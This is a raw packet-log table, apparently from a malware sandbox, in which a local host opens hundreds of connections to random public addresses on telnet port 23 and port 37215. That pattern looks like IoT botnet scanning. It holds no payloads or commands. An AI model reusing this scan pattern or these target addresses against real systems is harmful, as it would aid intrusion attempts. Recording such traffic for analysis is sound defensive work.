Dec 3, 2024 21:47:19.418684006 CET	23	40955	70.84.251.225	192.168.2.13
Dec 3, 2024 21:47:19.418685913 CET	40955	23	192.168.2.13	105.137.6.78
Dec 3, 2024 21:47:19.418698072 CET	40955	23	192.168.2.13	166.34.3.113
Dec 3, 2024 21:47:19.418715954 CET	23	40955	66.25.235.187	192.168.2.13
Dec 3, 2024 21:47:19.418730974 CET	40955	23	192.168.2.13	70.84.251.225
Dec 3, 2024 21:47:19.418740034 CET	23	40955	41.216.228.125	192.168.2.13
Dec 3, 2024 21:47:19.418751955 CET	40955	23	192.168.2.13	66.25.235.187
Dec 3, 2024 21:47:19.418776989 CET	40955	23	192.168.2.13	41.216.228.125
Dec 3, 2024 21:47:19.418843985 CET	23	40955	187.113.244.229	192.168.2.13
Dec 3, 2024 21:47:19.418880939 CET	40955	23	192.168.2.13	187.113.244.229
Dec 3, 2024 21:47:19.418895960 CET	23	40955	223.23.19.207	192.168.2.13
Dec 3, 2024 21:47:19.418934107 CET	40955	23	192.168.2.13	223.23.19.207
Dec 3, 2024 21:47:19.420157909 CET	23	40955	138.152.142.147	192.168.2.13
Dec 3, 2024 21:47:19.420172930 CET	23	40955	155.199.103.61	192.168.2.13
Dec 3, 2024 21:47:19.420195103 CET	23	40955	128.92.242.43	192.168.2.13
Dec 3, 2024 21:47:19.420197964 CET	40955	23	192.168.2.13	138.152.142.147
Dec 3, 2024 21:47:19.420201063 CET	40955	23	192.168.2.13	155.199.103.61
Dec 3, 2024 21:47:19.420207977 CET	23	40955	212.213.88.174	192.168.2.13
Dec 3, 2024 21:47:19.420233011 CET	23	40955	139.71.205.111	192.168.2.13
Dec 3, 2024 21:47:19.420243025 CET	23	40955	34.203.168.34	192.168.2.13
Dec 3, 2024 21:47:19.420243979 CET	40955	23	192.168.2.13	128.92.242.43
Dec 3, 2024 21:47:19.420243979 CET	40955	23	192.168.2.13	212.213.88.174
Dec 3, 2024 21:47:19.420262098 CET	23	40955	184.217.42.217	192.168.2.13
Dec 3, 2024 21:47:19.420269966 CET	40955	23	192.168.2.13	139.71.205.111
Dec 3, 2024 21:47:19.420269966 CET	40955	23	192.168.2.13	34.203.168.34
Dec 3, 2024 21:47:19.420299053 CET	23	40955	59.190.90.223	192.168.2.13
Dec 3, 2024 21:47:19.420304060 CET	40955	23	192.168.2.13	184.217.42.217
Dec 3, 2024 21:47:19.420314074 CET	23	40955	205.110.19.91	192.168.2.13
Dec 3, 2024 21:47:19.420336008 CET	40955	23	192.168.2.13	59.190.90.223
Dec 3, 2024 21:47:19.420346975 CET	40955	23	192.168.2.13	205.110.19.91
Dec 3, 2024 21:47:19.420362949 CET	23	40955	146.50.167.150	192.168.2.13
Dec 3, 2024 21:47:19.420408964 CET	40955	23	192.168.2.13	146.50.167.150
Dec 3, 2024 21:47:19.420433998 CET	23	40955	146.219.95.147	192.168.2.13
Dec 3, 2024 21:47:19.420470953 CET	40955	23	192.168.2.13	146.219.95.147
Dec 3, 2024 21:47:19.420471907 CET	23	40955	190.227.77.177	192.168.2.13
Dec 3, 2024 21:47:19.420504093 CET	23	40955	131.163.203.174	192.168.2.13
Dec 3, 2024 21:47:19.420510054 CET	40955	23	192.168.2.13	190.227.77.177
Dec 3, 2024 21:47:19.420545101 CET	40955	23	192.168.2.13	131.163.203.174
Dec 3, 2024 21:47:19.420564890 CET	23	40955	44.203.42.233	192.168.2.13
Dec 3, 2024 21:47:19.420593023 CET	23	40955	166.187.130.223	192.168.2.13
Dec 3, 2024 21:47:19.420598030 CET	40955	23	192.168.2.13	44.203.42.233
Dec 3, 2024 21:47:19.420629978 CET	40955	23	192.168.2.13	166.187.130.223
Dec 3, 2024 21:47:19.420725107 CET	37215	34043	197.221.207.15	192.168.2.13
Dec 3, 2024 21:47:19.420749903 CET	37215	34043	156.66.126.154	192.168.2.13
Dec 3, 2024 21:47:19.420764923 CET	34043	37215	192.168.2.13	197.221.207.15
Dec 3, 2024 21:47:19.420779943 CET	34043	37215	192.168.2.13	156.66.126.154
Dec 3, 2024 21:47:19.420793056 CET	37215	34043	197.224.211.15	192.168.2.13
Dec 3, 2024 21:47:19.420830965 CET	34043	37215	192.168.2.13	197.224.211.15
Dec 3, 2024 21:47:19.420882940 CET	37215	34043	197.106.207.25	192.168.2.13
Dec 3, 2024 21:47:19.420917034 CET	34043	37215	192.168.2.13	197.106.207.25
Dec 3, 2024 21:47:19.420931101 CET	37215	34043	41.151.160.146	192.168.2.13
Dec 3, 2024 21:47:19.420968056 CET	34043	37215	192.168.2.13	41.151.160.146
Dec 3, 2024 21:47:19.420988083 CET	37215	34043	197.219.207.119	192.168.2.13
Dec 3, 2024 21:47:19.421020985 CET	37215	34043	156.23.205.243	192.168.2.13
Dec 3, 2024 21:47:19.421024084 CET	34043	37215	192.168.2.13	197.219.207.119
Dec 3, 2024 21:47:19.421036005 CET	37215	34043	197.114.20.63	192.168.2.13
Dec 3, 2024 21:47:19.421046019 CET	37215	34043	156.96.86.96	192.168.2.13
Dec 3, 2024 21:47:19.421057940 CET	34043	37215	192.168.2.13	156.23.205.243
Dec 3, 2024 21:47:19.421072960 CET	34043	37215	192.168.2.13	197.114.20.63
Dec 3, 2024 21:47:19.421073914 CET	34043	37215	192.168.2.13	156.96.86.96
Dec 3, 2024 21:47:19.421078920 CET	37215	34043	197.126.215.55	192.168.2.13
Dec 3, 2024 21:47:19.421092033 CET	37215	34043	41.103.161.199	192.168.2.13
Dec 3, 2024 21:47:19.421107054 CET	37215	34043	197.251.78.164	192.168.2.13
Dec 3, 2024 21:47:19.421112061 CET	34043	37215	192.168.2.13	197.126.215.55
Dec 3, 2024 21:47:19.421129942 CET	34043	37215	192.168.2.13	41.103.161.199
Dec 3, 2024 21:47:19.421140909 CET	34043	37215	192.168.2.13	197.251.78.164
Dec 3, 2024 21:47:19.421871901 CET	37215	34043	197.192.145.251	192.168.2.13
Dec 3, 2024 21:47:19.421895027 CET	37215	34043	41.239.79.6	192.168.2.13
Dec 3, 2024 21:47:19.421909094 CET	37215	34043	41.97.222.145	192.168.2.13
Dec 3, 2024 21:47:19.421916962 CET	34043	37215	192.168.2.13	197.192.145.251
Dec 3, 2024 21:47:19.421940088 CET	37215	34043	197.14.100.117	192.168.2.13
Dec 3, 2024 21:47:19.421941042 CET	34043	37215	192.168.2.13	41.97.222.145
Dec 3, 2024 21:47:19.421952963 CET	37215	34043	156.115.48.103	192.168.2.13
Dec 3, 2024 21:47:19.421976089 CET	34043	37215	192.168.2.13	197.14.100.117
Dec 3, 2024 21:47:19.421977043 CET	34043	37215	192.168.2.13	156.115.48.103
Dec 3, 2024 21:47:19.421983004 CET	37215	34043	156.70.157.241	192.168.2.13
Dec 3, 2024 21:47:19.421997070 CET	37215	34043	197.17.180.33	192.168.2.13
Dec 3, 2024 21:47:19.421997070 CET	34043	37215	192.168.2.13	41.239.79.6
Dec 3, 2024 21:47:19.422023058 CET	34043	37215	192.168.2.13	197.17.180.33
Dec 3, 2024 21:47:19.422019958 CET	34043	37215	192.168.2.13	156.70.157.241
Dec 3, 2024 21:47:19.422033072 CET	37215	34043	197.32.167.183	192.168.2.13
Dec 3, 2024 21:47:19.422065973 CET	34043	37215	192.168.2.13	197.32.167.183
Dec 3, 2024 21:47:19.422097921 CET	37215	34043	41.207.183.43	192.168.2.13
Dec 3, 2024 21:47:19.422111034 CET	37215	34043	41.95.155.141	192.168.2.13
Dec 3, 2024 21:47:19.422125101 CET	37215	34043	156.152.12.250	192.168.2.13
Dec 3, 2024 21:47:19.422133923 CET	34043	37215	192.168.2.13	41.95.155.141
Dec 3, 2024 21:47:19.422147989 CET	34043	37215	192.168.2.13	41.207.183.43
Dec 3, 2024 21:47:19.422168970 CET	37215	34043	156.193.120.205	192.168.2.13
Dec 3, 2024 21:47:19.422173977 CET	34043	37215	192.168.2.13	156.152.12.250
Dec 3, 2024 21:47:19.422185898 CET	37215	34043	41.156.130.117	192.168.2.13
Dec 3, 2024 21:47:19.422198057 CET	37215	34043	41.185.57.137	192.168.2.13
Dec 3, 2024 21:47:19.422204971 CET	34043	37215	192.168.2.13	156.193.120.205
Dec 3, 2024 21:47:19.422211885 CET	34043	37215	192.168.2.13	41.156.130.117
Dec 3, 2024 21:47:19.422224045 CET	37215	34043	41.205.115.231	192.168.2.13
Dec 3, 2024 21:47:19.422235966 CET	34043	37215	192.168.2.13	41.185.57.137
Dec 3, 2024 21:47:19.422236919 CET	37215	34043	197.92.90.189	192.168.2.13
Dec 3, 2024 21:47:19.422261953 CET	34043	37215	192.168.2.13	41.205.115.231
Dec 3, 2024 21:47:19.422281981 CET	34043	37215	192.168.2.13	197.92.90.189
Dec 3, 2024 21:47:19.422311068 CET	37215	34043	197.82.121.25	192.168.2.13
Dec 3, 2024 21:47:19.422327042 CET	37215	34043	197.127.248.229	192.168.2.13
Dec 3, 2024 21:47:19.422336102 CET	37215	34043	41.88.174.205	192.168.2.13
Dec 3, 2024 21:47:19.422346115 CET	34043	37215	192.168.2.13	197.82.121.25
Dec 3, 2024 21:47:19.422358036 CET	34043	37215	192.168.2.13	197.127.248.229
Dec 3, 2024 21:47:19.422363043 CET	37215	34043	41.40.171.84	192.168.2.13
Dec 3, 2024 21:47:19.422363997 CET	34043	37215	192.168.2.13	41.88.174.205
Dec 3, 2024 21:47:19.422379017 CET	37215	34043	156.0.197.164	192.168.2.13
Dec 3, 2024 21:47:19.422389984 CET	37215	34043	156.15.128.75	192.168.2.13
Dec 3, 2024 21:47:19.422399998 CET	34043	37215	192.168.2.13	41.40.171.84
Dec 3, 2024 21:47:19.422409058 CET	37215	34043	156.5.138.111	192.168.2.13
Dec 3, 2024 21:47:19.422419071 CET	34043	37215	192.168.2.13	156.0.197.164
Dec 3, 2024 21:47:19.422419071 CET	34043	37215	192.168.2.13	156.15.128.75
Dec 3, 2024 21:47:19.422446966 CET	34043	37215	192.168.2.13	156.5.138.111
Dec 3, 2024 21:47:19.422466993 CET	37215	34043	156.191.235.133	192.168.2.13
Dec 3, 2024 21:47:19.422524929 CET	34043	37215	192.168.2.13	156.191.235.133
Dec 3, 2024 21:47:19.422559023 CET	37215	34043	197.13.107.120	192.168.2.13
Dec 3, 2024 21:47:19.422578096 CET	37215	34043	197.239.38.190	192.168.2.13
Dec 3, 2024 21:47:19.422590971 CET	37215	34043	197.104.215.142	192.168.2.13
Dec 3, 2024 21:47:19.422604084 CET	37215	34043	197.63.218.37	192.168.2.13
Dec 3, 2024 21:47:19.422610044 CET	34043	37215	192.168.2.13	197.239.38.190
Dec 3, 2024 21:47:19.422616959 CET	34043	37215	192.168.2.13	197.104.215.142
Dec 3, 2024 21:47:19.422635078 CET	34043	37215	192.168.2.13	197.63.218.37
Dec 3, 2024 21:47:19.422636032 CET	34043	37215	192.168.2.13	197.13.107.120
Dec 3, 2024 21:47:19.423538923 CET	37215	34043	41.162.6.46	192.168.2.13
Dec 3, 2024 21:47:19.423554897 CET	37215	34043	156.116.31.37	192.168.2.13
Dec 3, 2024 21:47:19.423573017 CET	34043	37215	192.168.2.13	41.162.6.46
Dec 3, 2024 21:47:19.423579931 CET	34043	37215	192.168.2.13	156.116.31.37
Dec 3, 2024 21:47:19.423587084 CET	37215	34043	156.65.95.28	192.168.2.13
Dec 3, 2024 21:47:19.423614025 CET	37215	34043	156.115.77.42	192.168.2.13
Dec 3, 2024 21:47:19.423620939 CET	34043	37215	192.168.2.13	156.65.95.28
Dec 3, 2024 21:47:19.423640013 CET	37215	34043	41.187.167.108	192.168.2.13
Dec 3, 2024 21:47:19.423650026 CET	34043	37215	192.168.2.13	156.115.77.42
Dec 3, 2024 21:47:19.423680067 CET	34043	37215	192.168.2.13	41.187.167.108
Dec 3, 2024 21:47:19.423710108 CET	37215	34043	197.168.158.209	192.168.2.13
Dec 3, 2024 21:47:19.423724890 CET	37215	34043	41.227.94.26	192.168.2.13
Dec 3, 2024 21:47:19.423753977 CET	34043	37215	192.168.2.13	197.168.158.209
Dec 3, 2024 21:47:19.423762083 CET	37215	34043	41.253.114.20	192.168.2.13
Dec 3, 2024 21:47:19.423772097 CET	34043	37215	192.168.2.13	41.227.94.26
Dec 3, 2024 21:47:19.423801899 CET	34043	37215	192.168.2.13	41.253.114.20
Dec 3, 2024 21:47:19.423829079 CET	37215	34043	41.158.228.71	192.168.2.13
Dec 3, 2024 21:47:19.423841953 CET	37215	34043	156.133.253.199	192.168.2.13
Dec 3, 2024 21:47:19.423867941 CET	34043	37215	192.168.2.13	156.133.253.199
Dec 3, 2024 21:47:19.423870087 CET	34043	37215	192.168.2.13	41.158.228.71
Dec 3, 2024 21:47:19.423876047 CET	37215	34043	41.9.255.155	192.168.2.13
Dec 3, 2024 21:47:19.423892021 CET	37215	34043	197.110.132.91	192.168.2.13
Dec 3, 2024 21:47:19.423907995 CET	37215	34043	197.139.186.13	192.168.2.13
Dec 3, 2024 21:47:19.423912048 CET	34043	37215	192.168.2.13	41.9.255.155
Dec 3, 2024 21:47:19.423918962 CET	34043	37215	192.168.2.13	197.110.132.91
Dec 3, 2024 21:47:19.423942089 CET	34043	37215	192.168.2.13	197.139.186.13
Dec 3, 2024 21:47:19.423954010 CET	37215	34043	41.65.216.214	192.168.2.13
Dec 3, 2024 21:47:19.423969030 CET	37215	34043	41.172.148.39	192.168.2.13
Dec 3, 2024 21:47:19.423990965 CET	34043	37215	192.168.2.13	41.65.216.214
Dec 3, 2024 21:47:19.423993111 CET	37215	34043	41.204.64.23	192.168.2.13
Dec 3, 2024 21:47:19.424005985 CET	37215	34043	156.165.66.187	192.168.2.13
Dec 3, 2024 21:47:19.424031019 CET	34043	37215	192.168.2.13	41.204.64.23
Dec 3, 2024 21:47:19.424041033 CET	34043	37215	192.168.2.13	156.165.66.187
Dec 3, 2024 21:47:19.424041986 CET	34043	37215	192.168.2.13	41.172.148.39
Dec 3, 2024 21:47:19.424114943 CET	37215	34043	41.136.120.23	192.168.2.13
Dec 3, 2024 21:47:19.424130917 CET	37215	34043	197.4.100.17	192.168.2.13
Dec 3, 2024 21:47:19.424143076 CET	37215	34043	197.118.52.121	192.168.2.13
Dec 3, 2024 21:47:19.424149990 CET	34043	37215	192.168.2.13	41.136.120.23
Dec 3, 2024 21:47:19.424160957 CET	37215	34043	156.40.156.94	192.168.2.13
Dec 3, 2024 21:47:19.424165010 CET	34043	37215	192.168.2.13	197.4.100.17
Dec 3, 2024 21:47:19.424174070 CET	34043	37215	192.168.2.13	197.118.52.121
Dec 3, 2024 21:47:19.424182892 CET	37215	34043	156.244.4.37	192.168.2.13
Dec 3, 2024 21:47:19.424195051 CET	37215	34043	41.152.124.141	192.168.2.13
Dec 3, 2024 21:47:19.424201012 CET	34043	37215	192.168.2.13	156.40.156.94
Dec 3, 2024 21:47:19.424211025 CET	37215	34043	156.222.183.150	192.168.2.13
Dec 3, 2024 21:47:19.424212933 CET	34043	37215	192.168.2.13	156.244.4.37
Dec 3, 2024 21:47:19.424223900 CET	37215	34043	41.1.209.2	192.168.2.13
Dec 3, 2024 21:47:19.424236059 CET	37215	34043	41.31.134.117	192.168.2.13
Dec 3, 2024 21:47:19.424242973 CET	34043	37215	192.168.2.13	156.222.183.150
Dec 3, 2024 21:47:19.424246073 CET	34043	37215	192.168.2.13	41.152.124.141
Dec 3, 2024 21:47:19.424253941 CET	37215	34043	197.163.109.127	192.168.2.13
Dec 3, 2024 21:47:19.424267054 CET	37215	34043	156.70.229.216	192.168.2.13
Dec 3, 2024 21:47:19.424271107 CET	34043	37215	192.168.2.13	41.31.134.117
Dec 3, 2024 21:47:19.424273968 CET	34043	37215	192.168.2.13	41.1.209.2
Dec 3, 2024 21:47:19.424293995 CET	34043	37215	192.168.2.13	197.163.109.127
Dec 3, 2024 21:47:19.424297094 CET	34043	37215	192.168.2.13	156.70.229.216
Dec 3, 2024 21:47:19.425224066 CET	37215	34043	197.248.208.27	192.168.2.13
Dec 3, 2024 21:47:19.425263882 CET	34043	37215	192.168.2.13	197.248.208.27
Dec 3, 2024 21:47:19.425278902 CET	37215	34043	156.100.135.239	192.168.2.13
Dec 3, 2024 21:47:19.425291061 CET	37215	34043	41.232.139.167	192.168.2.13
Dec 3, 2024 21:47:19.425313950 CET	37215	34043	156.136.84.0	192.168.2.13
Dec 3, 2024 21:47:19.425328016 CET	34043	37215	192.168.2.13	156.100.135.239
Dec 3, 2024 21:47:19.425329924 CET	34043	37215	192.168.2.13	41.232.139.167
Dec 3, 2024 21:47:19.425354958 CET	34043	37215	192.168.2.13	156.136.84.0
Dec 3, 2024 21:47:19.425390005 CET	37215	34043	156.98.101.133	192.168.2.13
Dec 3, 2024 21:47:19.425427914 CET	34043	37215	192.168.2.13	156.98.101.133
Dec 3, 2024 21:47:19.425451994 CET	37215	34043	156.255.140.208	192.168.2.13
Dec 3, 2024 21:47:19.425489902 CET	34043	37215	192.168.2.13	156.255.140.208
Dec 3, 2024 21:47:19.425501108 CET	37215	34043	41.76.1.190	192.168.2.13
Dec 3, 2024 21:47:19.425522089 CET	37215	34043	156.169.87.19	192.168.2.13
Dec 3, 2024 21:47:19.425542116 CET	34043	37215	192.168.2.13	41.76.1.190
Dec 3, 2024 21:47:19.425559998 CET	34043	37215	192.168.2.13	156.169.87.19
Dec 3, 2024 21:47:19.425570965 CET	37215	34043	41.251.234.94	192.168.2.13
Dec 3, 2024 21:47:19.425587893 CET	37215	34043	41.188.177.172	192.168.2.13
Dec 3, 2024 21:47:19.425602913 CET	34043	37215	192.168.2.13	41.251.234.94
Dec 3, 2024 21:47:19.425621986 CET	34043	37215	192.168.2.13	41.188.177.172
Dec 3, 2024 21:47:19.425668955 CET	37215	34043	156.79.11.62	192.168.2.13
Dec 3, 2024 21:47:19.425700903 CET	37215	34043	41.23.175.166	192.168.2.13
Dec 3, 2024 21:47:19.425707102 CET	34043	37215	192.168.2.13	156.79.11.62
Dec 3, 2024 21:47:19.425712109 CET	37215	34043	197.27.117.55	192.168.2.13
Dec 3, 2024 21:47:19.425729990 CET	34043	37215	192.168.2.13	41.23.175.166
Dec 3, 2024 21:47:19.425743103 CET	34043	37215	192.168.2.13	197.27.117.55
Dec 3, 2024 21:47:19.425753117 CET	37215	34043	156.49.88.174	192.168.2.13
Dec 3, 2024 21:47:19.425790071 CET	34043	37215	192.168.2.13	156.49.88.174
Dec 3, 2024 21:47:19.425811052 CET	37215	34043	156.248.57.203	192.168.2.13
Dec 3, 2024 21:47:19.425841093 CET	34043	37215	192.168.2.13	156.248.57.203
Dec 3, 2024 21:47:19.425915003 CET	37215	34043	41.64.139.245	192.168.2.13
Dec 3, 2024 21:47:19.425950050 CET	34043	37215	192.168.2.13	41.64.139.245
Dec 3, 2024 21:47:19.426002979 CET	37215	34043	156.232.61.163	192.168.2.13
Dec 3, 2024 21:47:19.426017046 CET	37215	34043	41.50.14.168	192.168.2.13
Dec 3, 2024 21:47:19.426029921 CET	37215	34043	156.155.15.64	192.168.2.13
Dec 3, 2024 21:47:19.426045895 CET	34043	37215	192.168.2.13	156.232.61.163
Dec 3, 2024 21:47:19.426053047 CET	34043	37215	192.168.2.13	41.50.14.168
Dec 3, 2024 21:47:19.426095009 CET	34043	37215	192.168.2.13	156.155.15.64
Dec 3, 2024 21:47:19.426116943 CET	37215	34043	41.245.111.56	192.168.2.13
Dec 3, 2024 21:47:19.426131010 CET	37215	34043	197.194.174.142	192.168.2.13
Dec 3, 2024 21:47:19.426147938 CET	37215	34043	41.107.67.218	192.168.2.13
Dec 3, 2024 21:47:19.426153898 CET	34043	37215	192.168.2.13	41.245.111.56
Dec 3, 2024 21:47:19.426167965 CET	34043	37215	192.168.2.13	197.194.174.142
Dec 3, 2024 21:47:19.426171064 CET	34043	37215	192.168.2.13	41.107.67.218
Dec 3, 2024 21:47:19.426177979 CET	37215	34043	156.70.176.17	192.168.2.13
Dec 3, 2024 21:47:19.426192999 CET	37215	34043	156.0.78.63	192.168.2.13
Dec 3, 2024 21:47:19.426208973 CET	37215	34043	41.170.32.103	192.168.2.13
Dec 3, 2024 21:47:19.426214933 CET	34043	37215	192.168.2.13	156.70.176.17
Dec 3, 2024 21:47:19.426218987 CET	34043	37215	192.168.2.13	156.0.78.63
Dec 3, 2024 21:47:19.426242113 CET	37215	34043	156.215.137.64	192.168.2.13
Dec 3, 2024 21:47:19.426240921 CET	34043	37215	192.168.2.13	41.170.32.103
Dec 3, 2024 21:47:19.426278114 CET	34043	37215	192.168.2.13	156.215.137.64
Dec 3, 2024 21:47:19.426309109 CET	37215	34043	197.106.106.5	192.168.2.13
Dec 3, 2024 21:47:19.426321983 CET	37215	34043	197.73.254.251	192.168.2.13
Dec 3, 2024 21:47:19.426343918 CET	34043	37215	192.168.2.13	197.106.106.5
Dec 3, 2024 21:47:19.426361084 CET	34043	37215	192.168.2.13	197.73.254.251
Dec 3, 2024 21:47:19.427575111 CET	37215	34043	197.102.141.60	192.168.2.13
Dec 3, 2024 21:47:19.427589893 CET	37215	34043	156.71.152.18	192.168.2.13
Dec 3, 2024 21:47:19.427607059 CET	37215	34043	156.81.110.151	192.168.2.13
Dec 3, 2024 21:47:19.427617073 CET	34043	37215	192.168.2.13	197.102.141.60
Dec 3, 2024 21:47:19.427645922 CET	34043	37215	192.168.2.13	156.81.110.151
Dec 3, 2024 21:47:19.427649975 CET	34043	37215	192.168.2.13	156.71.152.18
Dec 3, 2024 21:47:19.427679062 CET	37215	34043	197.60.212.158	192.168.2.13
Dec 3, 2024 21:47:19.427717924 CET	34043	37215	192.168.2.13	197.60.212.158
Dec 3, 2024 21:47:19.427732944 CET	37215	34043	156.56.101.43	192.168.2.13
Dec 3, 2024 21:47:19.427747011 CET	37215	34043	41.91.252.128	192.168.2.13
Dec 3, 2024 21:47:19.427769899 CET	34043	37215	192.168.2.13	156.56.101.43
Dec 3, 2024 21:47:19.427777052 CET	37215	34043	41.75.63.48	192.168.2.13
Dec 3, 2024 21:47:19.427791119 CET	37215	34043	156.130.14.95	192.168.2.13
Dec 3, 2024 21:47:19.427799940 CET	34043	37215	192.168.2.13	41.91.252.128
Dec 3, 2024 21:47:19.427809000 CET	34043	37215	192.168.2.13	41.75.63.48
Dec 3, 2024 21:47:19.427812099 CET	37215	34043	197.8.208.62	192.168.2.13
Dec 3, 2024 21:47:19.427843094 CET	34043	37215	192.168.2.13	156.130.14.95
Dec 3, 2024 21:47:19.427845001 CET	34043	37215	192.168.2.13	197.8.208.62
Dec 3, 2024 21:47:19.427875996 CET	37215	34043	41.248.162.34	192.168.2.13
Dec 3, 2024 21:47:19.427892923 CET	37215	34043	41.240.231.65	192.168.2.13
Dec 3, 2024 21:47:19.427905083 CET	37215	34043	41.79.16.197	192.168.2.13
Dec 3, 2024 21:47:19.427915096 CET	34043	37215	192.168.2.13	41.248.162.34
Dec 3, 2024 21:47:19.427926064 CET	34043	37215	192.168.2.13	41.240.231.65
Dec 3, 2024 21:47:19.427936077 CET	34043	37215	192.168.2.13	41.79.16.197
Dec 3, 2024 21:47:19.427963018 CET	37215	34043	156.114.52.223	192.168.2.13
Dec 3, 2024 21:47:19.427977085 CET	37215	34043	156.170.221.66	192.168.2.13
Dec 3, 2024 21:47:19.427990913 CET	37215	34043	197.91.52.95	192.168.2.13
Dec 3, 2024 21:47:19.427999020 CET	34043	37215	192.168.2.13	156.114.52.223
Dec 3, 2024 21:47:19.428009987 CET	37215	34043	41.11.28.244	192.168.2.13
Dec 3, 2024 21:47:19.428024054 CET	37215	34043	197.6.198.202	192.168.2.13
Dec 3, 2024 21:47:19.428025007 CET	34043	37215	192.168.2.13	197.91.52.95
Dec 3, 2024 21:47:19.428025007 CET	34043	37215	192.168.2.13	156.170.221.66
Dec 3, 2024 21:47:19.428041935 CET	34043	37215	192.168.2.13	41.11.28.244
Dec 3, 2024 21:47:19.428042889 CET	37215	34043	41.19.116.150	192.168.2.13
Dec 3, 2024 21:47:19.428056955 CET	37215	34043	41.100.57.95	192.168.2.13
Dec 3, 2024 21:47:19.428071022 CET	34043	37215	192.168.2.13	197.6.198.202
Dec 3, 2024 21:47:19.428071022 CET	37215	34043	197.1.220.17	192.168.2.13
Dec 3, 2024 21:47:19.428076029 CET	34043	37215	192.168.2.13	41.19.116.150
Dec 3, 2024 21:47:19.428087950 CET	37215	34043	156.213.40.148	192.168.2.13
Dec 3, 2024 21:47:19.428093910 CET	34043	37215	192.168.2.13	41.100.57.95
Dec 3, 2024 21:47:19.428108931 CET	34043	37215	192.168.2.13	197.1.220.17
Dec 3, 2024 21:47:19.428118944 CET	34043	37215	192.168.2.13	156.213.40.148
Dec 3, 2024 21:47:19.428128004 CET	37215	34043	41.229.132.95	192.168.2.13
Dec 3, 2024 21:47:19.428167105 CET	34043	37215	192.168.2.13	41.229.132.95
Dec 3, 2024 21:47:19.428177118 CET	37215	34043	41.77.49.38	192.168.2.13
Dec 3, 2024 21:47:19.428212881 CET	34043	37215	192.168.2.13	41.77.49.38
Dec 3, 2024 21:47:19.428240061 CET	37215	34043	197.94.1.109	192.168.2.13
Dec 3, 2024 21:47:19.428255081 CET	37215	34043	197.136.21.101	192.168.2.13
Dec 3, 2024 21:47:19.428277016 CET	34043	37215	192.168.2.13	197.94.1.109
Dec 3, 2024 21:47:19.428277969 CET	37215	34043	156.236.202.154	192.168.2.13
Dec 3, 2024 21:47:19.428284883 CET	34043	37215	192.168.2.13	197.136.21.101
Dec 3, 2024 21:47:19.428292036 CET	37215	34043	156.212.118.66	192.168.2.13
Dec 3, 2024 21:47:19.428311110 CET	34043	37215	192.168.2.13	156.236.202.154
Dec 3, 2024 21:47:19.428318024 CET	34043	37215	192.168.2.13	156.212.118.66
Dec 3, 2024 21:47:19.428330898 CET	37215	34043	197.248.211.80	192.168.2.13
Dec 3, 2024 21:47:19.428365946 CET	34043	37215	192.168.2.13	197.248.211.80
Dec 3, 2024 21:47:19.429678917 CET	37215	34043	156.68.163.72	192.168.2.13
Dec 3, 2024 21:47:19.429735899 CET	37215	34043	41.221.98.43	192.168.2.13
Dec 3, 2024 21:47:19.429740906 CET	34043	37215	192.168.2.13	156.68.163.72
Dec 3, 2024 21:47:19.429749966 CET	37215	34043	156.10.52.106	192.168.2.13
Dec 3, 2024 21:47:19.429769993 CET	37215	34043	41.199.104.191	192.168.2.13
Dec 3, 2024 21:47:19.429773092 CET	34043	37215	192.168.2.13	41.221.98.43
Dec 3, 2024 21:47:19.429780006 CET	34043	37215	192.168.2.13	156.10.52.106
Dec 3, 2024 21:47:19.429795027 CET	37215	34043	156.214.94.114	192.168.2.13
Dec 3, 2024 21:47:19.429804087 CET	34043	37215	192.168.2.13	41.199.104.191
Dec 3, 2024 21:47:19.429819107 CET	34043	37215	192.168.2.13	156.214.94.114
Dec 3, 2024 21:47:19.429835081 CET	37215	34043	197.61.219.167	192.168.2.13
Dec 3, 2024 21:47:19.429876089 CET	34043	37215	192.168.2.13	197.61.219.167
Dec 3, 2024 21:47:19.429898024 CET	37215	34043	156.127.95.132	192.168.2.13
Dec 3, 2024 21:47:19.429910898 CET	37215	34043	197.151.237.234	192.168.2.13
Dec 3, 2024 21:47:19.429935932 CET	37215	34043	156.83.42.2	192.168.2.13
Dec 3, 2024 21:47:19.429938078 CET	34043	37215	192.168.2.13	156.127.95.132
Dec 3, 2024 21:47:19.429938078 CET	34043	37215	192.168.2.13	197.151.237.234
Dec 3, 2024 21:47:19.429949045 CET	37215	34043	41.156.20.53	192.168.2.13
Dec 3, 2024 21:47:19.429971933 CET	34043	37215	192.168.2.13	156.83.42.2
Dec 3, 2024 21:47:19.429995060 CET	34043	37215	192.168.2.13	41.156.20.53
Dec 3, 2024 21:47:19.430016041 CET	37215	34043	156.192.194.157	192.168.2.13
Dec 3, 2024 21:47:19.430032015 CET	37215	34043	41.23.153.138	192.168.2.13
Dec 3, 2024 21:47:19.430052996 CET	34043	37215	192.168.2.13	156.192.194.157
Dec 3, 2024 21:47:19.430064917 CET	34043	37215	192.168.2.13	41.23.153.138
Dec 3, 2024 21:47:19.430102110 CET	37215	34043	197.1.251.75	192.168.2.13
Dec 3, 2024 21:47:19.430140972 CET	34043	37215	192.168.2.13	197.1.251.75
Dec 3, 2024 21:47:19.430170059 CET	37215	34043	197.59.60.13	192.168.2.13
Dec 3, 2024 21:47:19.430183887 CET	37215	34043	41.78.54.140	192.168.2.13
Dec 3, 2024 21:47:19.430201054 CET	37215	34043	41.178.119.255	192.168.2.13
Dec 3, 2024 21:47:19.430207014 CET	34043	37215	192.168.2.13	197.59.60.13
Dec 3, 2024 21:47:19.430208921 CET	34043	37215	192.168.2.13	41.78.54.140
Dec 3, 2024 21:47:19.430233955 CET	34043	37215	192.168.2.13	41.178.119.255
Dec 3, 2024 21:47:19.430243015 CET	37215	34043	41.157.207.199	192.168.2.13
Dec 3, 2024 21:47:19.430257082 CET	37215	34043	41.58.128.91	192.168.2.13
Dec 3, 2024 21:47:19.430270910 CET	34043	37215	192.168.2.13	41.157.207.199
Dec 3, 2024 21:47:19.430293083 CET	34043	37215	192.168.2.13	41.58.128.91
Dec 3, 2024 21:47:19.430309057 CET	37215	34043	156.55.217.67	192.168.2.13
Dec 3, 2024 21:47:19.430322886 CET	37215	34043	41.138.87.223	192.168.2.13
Dec 3, 2024 21:47:19.430344105 CET	34043	37215	192.168.2.13	156.55.217.67
Dec 3, 2024 21:47:19.430344105 CET	34043	37215	192.168.2.13	41.138.87.223
Dec 3, 2024 21:47:19.430368900 CET	37215	34043	156.85.60.59	192.168.2.13
Dec 3, 2024 21:47:19.430407047 CET	34043	37215	192.168.2.13	156.85.60.59
Dec 3, 2024 21:47:19.430460930 CET	37215	34043	41.197.91.236	192.168.2.13
Dec 3, 2024 21:47:19.430474043 CET	37215	34043	156.27.24.20	192.168.2.13
